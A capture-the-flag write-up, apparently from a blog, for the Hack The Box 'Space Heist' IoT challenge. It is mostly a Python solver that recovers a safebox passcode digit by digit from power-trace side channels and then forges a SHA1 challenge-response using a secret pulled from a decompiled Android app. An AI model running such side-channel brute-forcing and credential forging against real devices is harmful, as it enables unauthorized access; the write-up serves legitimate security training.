HackTheBox Space Heist Challenge
Explore the basics of cybersecurity in the Space Heist Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
https://app.hackthebox.com/challenges/404
Description#
The final step of this operation is to retrieve the contents of the safebox locked in the next room. It appears the device also has anti-tampering mechanisms that will lock it and destroy its contents, so we must be careful. The team is setting up a remote lab for you to access parts of the device and try to bypass its security mechanism.
Exploitation#
Decompile using http://www.javadecompilers.com/
You will find
private static final String SECRET = "qvb4a1b07E870B";
#!/usr/bin/python3
from typing import List, Tuple, Dict
from dataclasses import dataclass
import socket,struct,hashlib,sys
import matplotlib.pyplot as plt
from time import sleep
@dataclass
class TraceData:
label: str
samples: List[float]
class PowerAnalyzer:
def __init__(self, host: str, port: int, plot_enabled: bool = False):
self.host = host
self.port = port
self.plot_enabled = plot_enabled
self.valid_chars = "0123456789"
def _recv_bytes(self, conn: socket.socket, n_bytes: int) -> bytes:
buffer = b''
while len(buffer) < n_bytes:
buffer += conn.recv(n_bytes - len(buffer))
return buffer
def _socket_readline(self, conn: socket.socket) -> bytes:
buffer = b''
while True:
char = self._recv_bytes(conn, 1)
buffer += char
if char == b'\n':
break
return buffer
def _recv_trace(self, conn: socket.socket) -> TraceData:
label_len = struct.unpack("<L", self._recv_bytes(conn, 4))[0]
label = self._recv_bytes(conn, label_len).decode()
trace_len = struct.unpack("<L", self._recv_bytes(conn, 4))[0]
sample_buffer = self._recv_bytes(conn, trace_len * 4)
samples = [struct.unpack("<f", sample_buffer[i:i+4])[0]
for i in range(0, len(sample_buffer), 4)]
return TraceData(label, samples)
def _find_peaks(self, trace: List[float]) -> List[Tuple[int, float]]:
min_val = min(trace)
max_val = max(trace)
threshold = (max_val - min_val) / 2 + min_val
peaks = []
state = 0
for i, value in enumerate(trace):
if state == 0 and value > threshold:
state = 1
peaks.append((i, value))
elif state == 1 and value < threshold:
state = 0
return peaks
def _calc_delta_peaks(self, peaks: List[Tuple[int, float]]) -> List[int]:
return [curr[0] - prev[0] for prev, curr in zip([(0, 0)] + peaks[:-1], peaks)]
def _plot_traces(self, traces: Dict[str, List[float]]):
plt.figure(figsize=(12, 6))
colors = {'trace_led_auth': 'r', 'trace_led_unlocked': 'g', 'trace_mcu': 'b'}
for label, trace in traces.items():
plt.plot(trace, colors.get(label, 'k'), label=label)
plt.legend()
plt.grid(True)
plt.show(block=True)
def _run_attempt(self, conn: socket.socket, code: str) -> Dict[str, List[float]]:
print(f'Attempting code: {code}')
conn.send(code.encode() + b'\n')
traces = {}
for _ in range(3):
trace_data = self._recv_trace(conn)
traces[trace_data.label] = trace_data.samples
return traces
def analyze_power_trace(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
conn.connect((self.host, self.port))
print(self._socket_readline(conn).decode())
print(self._socket_readline(conn).decode())
conn.recv(1024)
conn.send(b'password')
conn.recv(1024)
code = ['A']
last_delta = None
char_pos = 0
curr_digit = 0
while True:
if curr_digit >= len(self.valid_chars):
print(f'Failed to determine char at position {char_pos}')
break
code[char_pos] = self.valid_chars[curr_digit]
curr_digit += 1
traces = self._run_attempt(conn, ''.join(code))
if self.plot_enabled:
self._plot_traces(traces)
self._socket_readline(conn)
peaks = self._find_peaks(traces['trace_mcu'])
delta_peaks = self._calc_delta_peaks(peaks)
if last_delta is None:
last_delta = delta_peaks[-1]
continue
if last_delta - delta_peaks[-1] > 50:
min_val = min(traces['trace_led_unlocked'])
max_val = max(traces['trace_led_unlocked'])
if max_val - min_val > 1:
print('Successfully unlocked!')
break
last_delta = delta_peaks[-1]
char_pos += 1
curr_digit = 0
code.append('A')
if self.plot_enabled:
self._plot_traces(traces)
return ''.join(code)
def authenticate(self, code: str, secret: str = "qvb4a1b07E870B"):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
conn.connect((self.host, self.port))
for _ in range(2):
print(conn.recv(1024).strip().decode())
conn.send(b'auth')
for _ in range(2):
print(conn.recv(1024).strip().decode())
sleep(0.1)
conn.send(b'getChallenge')
response = conn.recv(1024).strip().decode()
challenge = response.split(":")[1]
message = challenge + secret
sha_hash = hashlib.sha1(message.encode()).hexdigest()
response = f'resp:{challenge}:{sha_hash}'.encode()
conn.send(response)
for _ in range(2):
print(conn.recv(1024).strip().decode())
conn.send(code.encode())
for _ in range(2):
print(conn.recv(1024).strip().decode())
def main():
if len(sys.argv) < 2:
print("Usage: python script.py <ip:port> [plt]")
sys.exit(1)
host, port = sys.argv[1].split(":")
plot_enabled = len(sys.argv) == 3 and sys.argv[2].lower() == 'plt'
analyzer = PowerAnalyzer(host, int(port), plot_enabled)
code = analyzer.analyze_power_trace()
analyzer.authenticate(code)
if __name__ == "__main__":
main()
Summary#
Space Heist is a medium-level IoT challenge that involves identifying and exploiting side-channel attacks, including timing attacks and power analysis, to retrieve the correct password for a safebox. By automating the visual inspection process using code and monitoring the LED indicator for the unlocked state, we can efficiently recover the passcode and bypass the security mechanisms. Additionally, reverse engineering an Android mobile app is required to complete the two-phase authentication procedure and open the safe.